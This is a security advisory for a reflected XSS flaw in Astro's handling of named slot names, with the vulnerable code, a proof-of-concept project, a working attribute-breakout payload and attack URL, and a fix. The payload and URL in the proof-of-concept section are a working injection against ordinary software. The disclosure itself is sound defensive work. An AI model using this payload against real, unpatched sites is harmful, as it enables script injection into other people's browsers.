HighGHSA-8hv8-536x-4wqpCVE-2026-50146

Astro: Reflected XSS via unescaped slot name

Published 16 Jun 2026 · Updated 12 Aug 2026

Affected package

Affected: <6.3.3
Fixed in: 6.3.3

Update to the fixed version for your release line, for example:npm install astro@6.3.3

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

---

Is GHSA-8hv8-536x-4wqp in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected astro, and gives you the command that fixes it.

Scan a project free, no signup Or connect GitHub to scan every repo

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.